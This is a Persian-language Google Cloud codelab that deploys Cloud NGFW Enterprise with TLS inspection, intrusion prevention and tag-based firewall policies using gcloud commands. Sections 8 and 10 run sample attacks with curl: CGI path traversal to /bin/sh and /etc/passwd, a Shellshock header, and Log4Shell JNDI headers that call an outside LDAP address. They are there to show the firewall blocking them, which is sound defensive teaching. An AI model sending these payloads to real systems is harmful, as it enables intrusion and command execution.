۱. مقدمه
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall یک سرویس دیوار آتش کاملاً توزیعشده با قابلیتهای محافظت پیشرفته، ریزبخشبندی، و پوشش فراگیر برای محافظت از حجمهای کاری Google Cloud شما دربرابر حملات داخلی و خارجی است.
Cloud NGFW مزایای زیر را دارد:
- سرویس دیوار آتش توزیعشده: Cloud NGFW اجرای میزبانمبنای کاملاً توزیعشده و باحفظ وضعیت را در هر بار کاری ارائه میدهد تا معماری امنیتی اعتماد صفر را فعال کند.
- پیکربندی و استقرار سادهشده: Cloud NGFW خطمشیهای دیوار آتش سلسلهمراتبی و شبکهای را پیادهسازی میکند که میتوانند به گره سلسلهمراتب منبع متصل شوند. این خطمشیها تجربه دیوار آتش یکپارچهای را در سلسلهمراتب منابع Google Cloud ارائه میدهند.
- کنترل ریزدانه و ریزبخشبندی: ترکیب خطمشیهای دیوار آتش و برچسبهای تحتنظارت «مدیریت هویت و دسترسیها» (IAM) کنترل دقیقی را برای ترافیک شمال-جنوب و شرق-غرب، تا سطح یک ماشین مجازی، در سراسر شبکهها و سازمانهای Virtual Private Cloud (VPC) فراهم میکند.
Cloud NGFW در سطوح زیر دردسترس است:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise قابلیتهای «سرویس جلوگیری از نفوذ» (IPS) و «جعبه امن بدافزار پیشرفته» (WildFire) اختیاری را که سرویسهای بازرسی لایه ۷ هستند به ساختار توزیعشده Google Cloud Firewall اضافه میکند. بازرسی TLS برای امکان بازرسی عمیق و تجزیهوتحلیل فایل برای ترافیک رمزگذاریشده TLS پشتیبانی میشود.
اکنون میتوانید بازرسیهای مطمئن «دیوار آتش نسل بعدی» (NGFW) لایه ۷ را با کنترلهای دانهای و بدون ایجاد هیچ تغییری در معماری شبکه یا پیکربندیهای مسیریابی مستقر کنید.
برای فعالسازی و استقرار کنترل دیوار آتش لایه ۷ با IPS و جعبه امن بدافزار پیشرفته اختیاری، باید کارهای زیر را انجام دهید:
- مجموعهای از نقاط پایانی دیوار آتش منطقهای تحتمدیریت Google Cloud ایجاد کنید (بهطور اختیاری، «جعبه امن بدافزار پیشرفته» را فعال کنید).
- درصورت تمایل، «خطمشی بازرسی TLS» ایجاد کنید.
- درصورت تمایل، «پیکربندی اعتماد» ایجاد کنید.
- این نقطههای پایانی را با شبکههای Virtual Private Cloud (VPC) که در آنها به سرویس Cloud NGFW Enterprise نیاز دارید مرتبط کنید.
- تغییرات سادهای در خطمشیهای دیوار آتش و قوانین دیوار آتش موجود ایجاد کنید تا نمایههای امنیتی «جلوگیری از تهدید» و «جعبه امن بدافزار پیشرفته» اختیاری را برای مسیرهای ترافیک مختلف مشخص کنید.
خطمشیهای دیوار آتش شبکه
خطمشی دیوار آتش شبکه بهعنوان محفظهای برای قوانین دیوار آتش عمل میکند. قوانین تعریفشده در خطمشی دیوار آتش شبکه تا زمانی که خطمشی با شبکه VPC مرتبط نشود، در هیچکجا اجرا نمیشوند. هر شبکه VPC میتواند یک خطمشی دیوار آتش شبکه منسوب به خود داشته باشد. خطمشیهای دیوار آتش شبکه از «برچسبهای» تحت مدیریت IAM (یا فقط «برچسبها») در قوانین دیوار آتش پشتیبانی میکنند که جایگزین برچسبهای شبکه فعلی میشوند و میتوانند برای ارائه هویت به حجم کاری استفاده شوند.
همرسانی خطمشی دیوار آتش شبکه در شبکهها و ادغام با «برچسبهای» تحت مدیریت IAM، پیکربندی و مدیریت دیوارهای آتش را بسیار ساده میکند.
با معرفی خطمشی دیوار آتش شبکه، خطمشیهای دیوار آتش Google Cloud اکنون از مؤلفههای زیر تشکیل شده است:
- خطمشی دیوار آتش سلسلهمراتبی
- قوانین دیوار آتش VPC
- خطمشی دیوار آتش شبکه ( جهانی و منطقهای)
خطمشیهای دیوار آتش سلسلهمراتبی در گرههای سازمان و پوشه در سلسلهمراتب منابع پشتیبانی میشوند، درحالیکه قوانین دیوار آتش VPC و خطمشیهای دیوار آتش شبکه در سطح VPC اعمال میشوند. تفاوت بزرگ بین قوانین دیوار آتش VPC و خطمشیهای دیوار آتش شبکه این است که قوانین دیوار آتش VPC را فقط میتوان برای یک شبکه VPC اعمال کرد، درحالیکه خطمشیهای دیوار آتش شبکه را میتوان به یک VPC یا گروهی از VPCها متصل کرد، و مزایای دیگری مانند بهروزرسانیهای دستهای نیز دارد.
درنهایت، قوانین ضمنی دیوار آتش را نیز داریم که با هر شبکه VPC ارائه میشود:
- قانون خروجی که کنش آن مجاز است، مقصد 0.0.0.0/0 است
- قانون ورودی که کنش آن رد کردن است، منبع 0.0.0.0/0 است
بهطور پیشفرض، توالی اجرا در نمودار زیر نشان داده شده است:

لطفاً توجه داشته باشید که ترتیب اجرای بین قوانین دیوار آتش VPC و خطمشی دیوار آتش شبکه جهانی را میتوان جابهجا کرد. مشتریان میتوانند در هرزمانی با فرمان gcloud ترتیب اجرا را مشخص کنند.
برچسبها
برچسبهای جدید ادغامشده در قوانین خطمشی دیواره آتش شبکه منابع جفت کلید-مقدار هستند که در سطح سازمان یا پروژه سلسلهمراتب منابع Google Cloud تعریف شدهاند. چنین برچسبی حاوی کنترلهای دسترسی IAM است که مشخص میکند چه کسی میتواند چه کاری روی برچسب انجام دهد. برای مثال، اجازههای مدیریت هویت و دسترسی (IAM) به فرد اجازه میدهد مشخص کند کدام مدیران میتوانند مقادیر را به برچسبها اختصاص دهند و کدام مدیران میتوانند برچسبها را به منابع پیوست کنند. اگر قانون دیوار آتش شبکه به «برچسبی» ارجاع دهد، باید برای اجرا به منبعی اعمال شود.
برچسبها از مدل منبع وراثت Google Cloud پیروی میکنند، یعنی برچسبها و مقادیر آنها از والدینشان در سلسلهمراتب منتقل میشوند. درنتیجه، برچسبها ممکن است در یک مکان ایجاد شوند و سپس توسط پوشهها و پروژههای دیگر در سراسر سلسلهمراتب منابع استفاده شوند. برای جزئیات مربوط به برچسبها و محدودیت دسترسی، از این صفحه بازدید کنید.
برچسبها نباید با برچسبهای شبکه اشتباه گرفته شوند. مورد دوم رشتههایی هستند که میتوانند به ماشینهای مجازی Compute Engine اضافه شوند؛ این رشتهها با ماشین مجازی مرتبط هستند و وقتی ماشین مجازی از رده خارج شود، ازبین میروند. قوانین دیوار آتش VPC ممکن است شامل برچسبهای شبکه باشد، اما چون بهعنوان منابع ابری درنظر گرفته نمیشوند، مشمول کنترل دسترسی IAM نیستند.
توجه داشته باشید که در این سند، «برچسبها» و «برچسبهای تحت نظارت IAM» بهجای یکدیگر استفاده میشوند.
آنچه خواهید ساخت
این codelab به یک پروژه و توانایی ایجاد شبکه VPC و همچنین مدیریت تعدادی از منابع شبکه و امنیتی نیاز دارد. این راهنما نشان میدهد که چگونه Cloud NGFW Enterprise میتواند عملکرد IPS و جعبه شنی بدافزار پیشرفته (WildFire) را با انجام کارهای زیر ارائه دهد:
- بازرسی کردن جریانهای اینترنت شمالی با بازرسی «امنیت لایه انتقال»
- بازرسی جریانهای درون VPC [شرق-غرب] با بازرسی امنیت لایه انتقال
- [اختیاری] پیکربندی و اعتبارسنجی ارسال فایل و جرمشناسی جعبه امن بدافزار پیشرفته برای تهدیدهای مبتنی بر فایل ناشناخته در ترافیک بازرسیشده TLS
جریانهایی که باید بازرسی شوند بااستفاده از پارامترهای تطبیق Cloud Firewall ازجمله ۵-تایی (IP مبدأ، IP مقصد، پروتکل، درگاه مبدأ، درگاه مقصد) و برچسبها انتخاب خواهند شد.

وضعیت نهایی پایگاه قانون خطمشی دیوار آتش شبکه مشابه جدول زیر خواهد بود:
اولویت | مسیر | Target | منبع | مقصد | کنش | تایپ کردن |
100 | ورودی | Server_Tag | بررسی سلامت | همه | اجازه دادن | Essentials |
۲۰۰ | ورودی | Client_Tag, Server_Tag | محصولات درون برنامهای | همه | اجازه دادن | Essentials |
۸۰۰ | ورودی | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | بازرسی L7 | سازمانی |
850 | خروج | Client_Tag | همه | 10.0.0.0/24 | اجازه دادن | Essentials |
۹۰۰ | خروج | Client_Tag | همه | همه | بازرسی L7 | سازمانی |
آنچه خواهید آموخت
- نحوه ایجاد خطمشی دیوار آتش شبکه.
- نحوه ایجاد و استفاده از «برچسبها» با خطمشی دیوار آتش شبکه.
- نحوه پیکربندی و استفاده از Cloud NGFW Enterprise با بازرسی امنیت لایه انتقال.
- [اختیاری] نحوه پیکربندی و اعتبارسنجی جعبه شنی بدافزار پیشرفته (WildFire) برای تهدیدهای ناشناخته مبتنی بر فایل.
آنچه نیاز خواهید داشت
- پروژه Google Cloud.
- دانش استقرار نمونهها و پیکربندی اجزای شبکه.
- دانش پیکربندی دیوار آتش VPC.
۲. قبلاز شروع
ایجاد/ بهروزرسانی متغیرها
این codelab از $variables برای کمک به پیادهسازی پیکربندی gcloud در Cloud Shell استفاده میکند.
در Cloud Shell، فرمانهای زیر را اجرا کنید و اطلاعات داخل کروشهها را درصورت لزوم جایگزین کنید:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
۳. فعال کردن میاناهای برنامهسازی کاربردی
اگر APIها را فعال نکردهاید، آنها را فعال کنید:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
۴. Cloud NGFW Enterprise Endpoint Creation
ازآنجاییکه ایجاد Cloud NGFW Enterprise Endpoint حدود ۲۰ دقیقه طول میکشد، ابتدا این نقطه پایانی ایجاد میشود و راهاندازی پایه میتواند بهطور موازی درحین ایجاد نقطه پایانی انجام شود.
«نمایه امنیتی» و «گروه نمایه امنیتی» را ایجاد کنید:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
خروجی موردانتظار:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
تأیید کنید که منابع با موفقیت ایجاد شدهاند:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
برونداد موردانتظار (توجه داشته باشید که قالب برونداد ممکن است بسته به کلاینت مورداستفاده متفاوت باشد:
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
نقطه پایانی Cloud NGFW Enterprise را ایجاد کنید:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
فرمان زیر را اجرا کنید تا مطمئن شوید نقطه پایانی درحال ایجاد شدن است (CREATING)، یا اگر از --no-async استفاده کردهاید، ACTIVE باشد.
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
برونداد موردانتظار (توجه داشته باشید که قالب برونداد ممکن است بسته به کلاینت مورداستفاده متفاوت باشد):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
درصورت تمایل، فرمان زیر را برای دریافت جزئیات بیشتر اجرا کنید:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
خروجی موردانتظار:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
فرایند ایجاد حدود ۲۰ دقیقه طول میکشد. به بخش «راهاندازی پایه» بروید تا منابع موردنیاز را بهطور موازی ایجاد کنید.
۵. راهاندازی پایه
شبکه و زیرشبکه VPC
شبکه VPC و زیرشبکه
شبکه VPC و زیرشبکه را ایجاد کنید:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
ایجاد Cloud Router و دروازه Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
نمونهها
نمونههای کارخواه و سرور وب را ایجاد کنید:
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
برچسبهای سطح پروژه
درصورت نیاز، اجازه tagAdmin را به کاربر اختصاص دهید:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
کلید و مقادیر برچسب سطح پروژه را ایجاد کنید:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
برچسبها را به نمونهها متصل کنید:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
خطمشی دیوار آتش شبکه جهانی
ایجاد خطمشی دیوار آتش شبکه جهانی:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
قوانین ضروری Cloud Firewall موردنیاز را برای مجاز کردن ترافیک از محدودههای health-check و identity-aware proxy ایجاد کنید:
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
قوانین Cloud Firewall لازم را برای مجاز کردن ترافیک ورودی شرق-غرب / درون زیرشبکه از محدودههای خاص ایجاد کنید (این قوانین برای فعال کردن Cloud NGFW Enterprise با بازرسی امنیت لایه انتقال بهروزرسانی خواهند شد):
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
مرتبط کردن خطمشی دیوار آتش ابری با شبکه VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
۶. Cloud Firewall Endpoint Association
اگر هنوز متغیرهای محیطی را تعریف نکردهاید و/یا رویکرد متن فرمان را ترجیح میدهید، آنها را تعریف کنید.
تأیید کنید که ایجاد «نقطه پایانی دیوار آتشین ابری» باموفقیت تکمیل شده باشد. فقط زمانی ادامه دهید که وضعیت بهصورت فعال نشان داده شود (درطول ایجاد، وضعیت موردانتظار درحال ایجاد است):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
برونداد موردانتظار (توجه داشته باشید که قالب برونداد ممکن است بسته به کلاینت مورداستفاده متفاوت باشد):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
درصورت تمایل، فرمان زیر را برای دریافت جزئیات بیشتر اجرا کنید:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
خروجی موردانتظار:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
نقطه پایانی Cloud Firewall را به شبکه VPC مرتبط کنید:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
فرایند مرتبط کردن حدود ۱۰ دقیقه طول میکشد. فقط زمانی به بخش TLS بروید که وضعیت بهصورت فعال نشان داده شود (درطول ایجاد، وضعیت موردانتظار درحال ایجاد است):
gcloud network-security firewall-endpoint-associations list
خروجی موردانتظار پساز تکمیل:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
درصورت تمایل، فرمان زیر را برای دریافت جزئیات بیشتر اجرا کنید:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
خروجی موردانتظار:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
۷. پیکربندی منابع TLS
مجموعه CA ایجاد کنید. این منبع برای نگهداری گواهی Root CA که برای NGFW Enterprise تولید میکنیم استفاده خواهد شد.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
مرجع صدور گواهی ریشه را ایجاد کنید. این گواهی CA است که برای امضای گواهیهای اضافی برای درخواستها ازطریق NGFW Enterprise استفاده خواهد شد.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
اگر پیام زیر را دریافت کردید، با y پاسخ دهید:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
حساب سرویس ایجاد کنید. از این حساب سرویس برای درخواست گواهی برای NGFW Enterprise استفاده خواهد شد:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
اجازههای IAM را برای حساب سرویس تنظیم کنید:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
فایل YAML مربوط به «خطمشی امنیت لایه انتقال» را ایجاد کنید. این فایل حاوی اطلاعاتی درباره منابع خاص خواهد بود:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
وارد کردن «خطمشی بازرسی TLS»:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
برای فعال کردن «امنیت لایه انتقال»، ارتباط نقطه پایانی را بهروز کنید:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
گواهینامه CA را دریافت کنید و آن را به فروشگاه CA مشتری اضافه کنید:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
گواهینامه مرکز صدور گواهی را به کارخواه منتقل کنید:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
SSH به VM، گواهی CA را به /usr/local/share/ca-certificates منتقل کنید و فروشگاه CA را بهروز کنید:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
خروج به cloudshell.
فرایند «امضای گواهینامه سرور»:
در cloudshell، کتابخانه رمزنگاری Pyca را بااستفاده از فرمان pip نصب کنید:
pip install --user "cryptography>=2.2.0"
برای اینکه به Google Cloud SDK اجازه دهید از کتابخانه رمزنگاری Pyca استفاده کند، باید بستههای سایت را فعال کنید.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
ایجاد گواهی سرور:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
با این کار، فایل cert.pem و key.pem در cloudshell تولید میشود. سپس گواهی و کلید را به سرور منتقل کنید.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
برای بهروزرسانی جزئیات گواهی Apache، ازطریق SSH وارد سرور شوید:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
انتقال گواهی و کلید به پوشه خاص:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
بهروزرسانی پیکربندی ssl برای استفاده از گواهینامه امضاشده:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
بازراهاندازی Apache:
sudo systemctl restart apache2
درستیسنجی وضعیت Apache:
sudo systemctl status apache2
باید فعال (درحال اجرا) باشد.
از ماشین مجازی خارج شوید و در cloudshell ادامه دهید.
۸. اعتبارسنجی اتصال شمالسو و شرق/غرب
فرمانهای زیر را در Cloud Shell اجرا کنید و IPهای هدف را برای استفاده یادداشت کنید:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
زبانه جدیدی باز کنید و اتصال SSH به ماشین مجازی کارخواه را ازطریق IAP آغاز کنید (باید متغیرها را در زبانه جدید تعریف کنید):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
فرمانهای زیر را اجرا کنید و IPهای هدف را برای استفاده یادداشت کنید. متغیرهایی را ایجاد کنید که مقادیر داخل کروشه را با IPهای ذکرشده از مرحله قبلی جایگزین کنند و مطمئن شوید که قابلدسترسی هستند:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
IP خصوصی را Curl کنید و مطمئن شوید که قابلدسترسی است:
curl https://$target_privateip --max-time 2
نتایج موردانتظار برای درخواست curl:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
حملات نمونه به IP ارسال کنید. سرور وب باید به همه درخواستها پاسخ دهد و تأیید کند که هیچ بازرسی/پیشگیری L7 در محل وجود ندارد:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
نتایج موردانتظار نمونه (IP خصوصی):
400 404 400 200 200
بهطور مشابه، درخواستها را به مقصد اینترنتی ارسال کنید:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
نتایج موردانتظار نمونه (مقصد اینترنتی):
400 404 400 403 403
از پایانه ماشین مجازی خارج شوید و به پوسته ابری برگردید.
۹. ایجاد و بهروزرسانی قوانین دیواره آتش برای بازرسی TLS
قبلاً، قانون دیواره آتشی را پیکربندی کردیم تا ترافیک ورودی به سرورمان از زیرشبکه داخلی مجاز شود. اکنون قوانین ورودی موجود را بهروز میکنیم و کنش را روی apply_security_profile_group تنظیم میکنیم. با این کار، بازرسی E/W L7 با TLS فعال میشود:
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
قانون جدیدی برای بازرسی بازرسی L7 شمالی با TLS ایجاد کنید.
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
قانون جدیدی برای مجاز کردن EGRESS برای E/W ایجاد کنید تا از بازرسی مضاعف جلوگیری شود.
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
۱۰. درحال اعتبارسنجی بازرسی امنیت لایه انتقال شمالگرا
به برگه ماشین مجازی کارخواه برگردید یا دوباره متصل شوید:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
ارسال حملات نمونه به مقصد اینترنتی:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
طبق خروجی موردانتظار زیر، هیچ پاسخی دریافت نمیشود که تأیید میکند حملات نمونه اکنون مسدود شدهاند:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
متغیر را روی IP سرور قبلی تنظیم کنید:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
ارسال درخواستهای نمونه TLS به سرور:
curl https://$target_privateip --max-time 2
خروجی موردانتظار:
